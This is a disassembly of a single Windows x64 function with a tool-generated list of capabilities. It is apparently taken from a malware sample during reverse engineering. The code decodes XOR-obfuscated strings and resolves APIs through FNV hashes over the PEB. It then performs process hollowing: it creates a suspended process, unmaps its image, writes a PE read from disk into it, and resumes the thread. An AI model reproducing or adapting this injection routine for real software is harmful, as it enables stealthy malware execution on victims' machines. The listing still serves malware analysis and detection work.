Function at 0x18003cdb0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Get file size
Hash data using fnv
Read file on windows
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x6c0
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1801f9940]
xor rax, rsp
mov qword [rbp + 0x640], rax
mov rdi, rcx
movabs rax, 0x1b966641c0196ce8
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp], rax
movabs rax, 0x33eee8985084cae7
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 8], rax
movabs rax, 0x3e4eef8af000a438
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x10], rax
movabs r10, 0x3892ab8b63e627d2
mov qword [rbp + 0x570], r10
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x18], rax
movabs r9, 0x74f20828974556ab
mov qword [rbp + 0x570], r9
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x600], rax
movabs r8, 0x439b9cfd23d8b990
mov qword [rbp + 0x570], r8
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x608], rax
movabs rdx, 0x3e2980e6de72d65d
mov qword [rbp + 0x570], rdx
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x610], rax
mov qword [rbp + 0x570], r10
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x618], rax
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
vmovdqa ymmword [rbp], ymm1
movabs rax, 0x695675ac7196ce8
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x40], rax
movabs rax, 0x30fef09465f8d4f1
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x48], rax
movabs rax, 0x624cec81b11d9101
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x50], rax
movabs rax, 0x79cecee60c944f91
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x58], rax
movabs rax, 0xc21f1a57fd21c71f
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x60], rax
movabs rax, 0xf3a924614ce9319b
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x68], rax
movabs rax, 0x16871af7b59094c4
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x70], rax
movabs rcx, 0x6d3eac17e173e4d6
mov qword [rbp + 0x570], rcx
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x570], r9
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x600], rax
mov qword [rbp + 0x570], r8
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x608], rax
mov qword [rbp + 0x570], rdx
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x610], rax
mov qword [rbp + 0x570], r10
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x618], rax
movabs rax, 0xab6b7b34944db76f
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x620], rax
movabs rax, 0x9ec656092fb55ff4
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x628], rax
movabs rax, 0x16871a92cdf5baa1
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x630], rax
mov qword [rbp + 0x570], rcx
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x638], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x620]
vmovdqa ymmword [rbp + 0x60], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x600], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x610], xmm1
lea rax, [rbp]
mov r12, 0xffffffffffffffff
mov r8, r12
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x18003d0d3
lea rdx, [rbp]
lea rcx, [rbp + 0x600]
call fcn.180017850
nop
lea rdx, [rbp + 0x600]
call fcn.18003c880
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x18003d13f
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003d13a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003d13a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18013a0b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x600], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x610], xmm1
lea rax, [rbp]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x18003d160
lea rdx, [rbp]
lea rcx, [rbp + 0x600]
call fcn.180017850
nop
lea rdx, [rbp + 0x600]
call fcn.18003caf0
movzx ebx, al
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x18003d1ce
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003d1c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003d1c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18013a0b0
test bl, bl
jne 0x18003d1da
mov rcx, rdi
call fcn.18003c390
mov dword [rbp + 0xd0], 0x10000b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x580], xmm0
movups xmmword [rbp + 0x590], xmm0
movups xmmword [rbp + 0x5a0], xmm0
movups xmmword [rbp + 0x5b0], xmm0
movups xmmword [rbp + 0x5c0], xmm0
movups xmmword [rbp + 0x5d0], xmm0
mov qword [rbp + 0x5e0], rax
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x580]
mov qword [rsp + 0x40], rax
xor r13d, r13d
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18003d77e
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
mov r8d, 1
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18003d2be
mov edx, 1
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
jmp 0x18003d77e
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov edx, eax
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x570]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18003d2a7
mov rax, qword [0x1802095a0]
test rax, rax
jne 0x18003d3c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x18003d3a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x18003d3a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xfd0d9b66
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x18003d3a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x18003d380
cmp r8d, 0x1f26e03c
je 0x18003d3ab
test r9d, r9d
jne 0x18003d360
mov rax, qword [rax]
jmp 0x18003d330
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov eax, dword [rcx + rax*4]
add rax, r10
mov qword [0x1802095a0], rax
mov rcx, rsi
call rax
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x18003d2a7
movsxd rdi, dword [r15 + 0x3c]
add rdi, r15
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtGetContextThread]
mov rdx, qword [rbp + 0x128]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rbp + 0x98]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
mov rdx, qword [rbp + 0x98]
cmp rdx, qword [rdi + 0x30]
jne 0x18003d43c
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov rcx, qword [rbp + 0x80]
test rax, rax
jne 0x18003d47e
mov edx, 1
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
jmp 0x18003d77e
mov qword [rsp + 0x20], r13
mov r9d, dword [rdi + 0x54]
mov r8, r15
mov rdx, rsi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov ebx, r13d
cmp r13w, word [rdi + 6]
jae 0x18003d4e8
nop dword [rax]
mov eax, ebx
lea rdx, [rax + rax*4]
movsxd rcx, dword [r15 + 0x3c]
add rcx, r15
lea r9, [rcx + rdx*8]
mov r8d, dword [r9 + 0x11c]
add r8, r15
mov edx, dword [r9 + 0x114]
add rdx, rsi
mov qword [rsp + 0x20], r13
mov r9d, dword [r9 + 0x118]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
inc ebx
movzx eax, word [rdi + 6]
cmp ebx, eax
jb 0x18003d4a0
mov eax, dword [rdi + 0x28]
add rax, rsi
mov qword [rbp + 0x120], rax
mov rdx, qword [rbp + 0x128]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rdi + 0x30]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtSetContextThread]
xor edx, edx
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtResumeThread]
mov rax, qword [0x1802095a8]
test rax, rax
jne 0x18003d5f9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x18003d5d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x18003d5d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xcaac6336
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x18003d5d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x18003d5b0
cmp r8d, 0x1c8d584c
je 0x18003d5db
test r9d, r9d
jne 0x18003d590
mov rax, qword [rax]
jmp 0x18003d560
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov eax, dword [rcx + rax*4]
add rax, r10
mov qword [0x1802095a8], rax
mov rcx, qword [rbp + 0x88]
call rax
mov rax, qword [0x1802095b0]
test rax, rax
jne 0x18003d6c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x18003d6a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x18003d6a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x5275a84b
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x18003d6a1
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x18003d680
cmp r8d, 0xe34c40bf
je 0x18003d6ab
test r9d, r9d
jne 0x18003d660
mov rax, qword [rax]
jmp 0x18003d630
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov eax, dword [rcx + rax*4]
add rax, r10
mov qword [0x1802095b0], rax
mov rcx, qword [rbp + 0x80]
call rax
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [rbp + 0x20], 0x3e8
lea rcx, [rbp + 0x20]
call fcn.18003b8b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x600], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x610], xmm1
lea rax, [rbp]
nop dword [rax]
inc r12
cmp byte [rax + r12], r13b
jne 0x18003d710
mov r8, r12
lea rdx, [rbp]
lea rcx, [rbp + 0x600]
call fcn.180017850
nop
lea rdx, [rbp + 0x600]
call fcn.18003c880
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x18003d77e
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003d779
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003d779
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18013a0b0
mov rcx, qword [rbp + 0x640]
xor rcx, rsp
call fcn.18013a090
lea r11, [rsp + 0x6c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret